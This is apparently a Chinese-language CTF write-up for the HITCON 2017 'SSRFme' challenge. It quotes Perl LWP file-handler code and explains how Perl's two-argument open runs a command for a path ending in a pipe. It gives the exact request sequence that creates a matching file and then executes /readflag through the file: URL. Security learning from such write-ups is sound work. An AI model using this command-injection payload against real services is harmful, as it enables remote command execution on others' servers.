[HITCON 2017]SSRFme

完全没有听过的知识点,去到其他师傅的wp看的一个方法。
perl脚本编写放到vps实现反弹shell不会搞。
选择了另一个在perl源文件中,针对GET命令导致的,命令执行漏洞。


#第47行
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}
127行
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response =  $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}

即一旦调用了file:协议那么就可以执行命令。
下面为一dalao博客上的图片

类似RCE中的一种语法?
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件/?url=file:bash -c /readflag|&filename=bash -c /readflag| 创建相应的同名文件
/?url=file:bash -c /readflag|&filename=123 利用open的feature执行代码
最后直接访问/sandbox/哈希值/123就能得到flag

哈希值的话通过php就可以求了。

推荐文章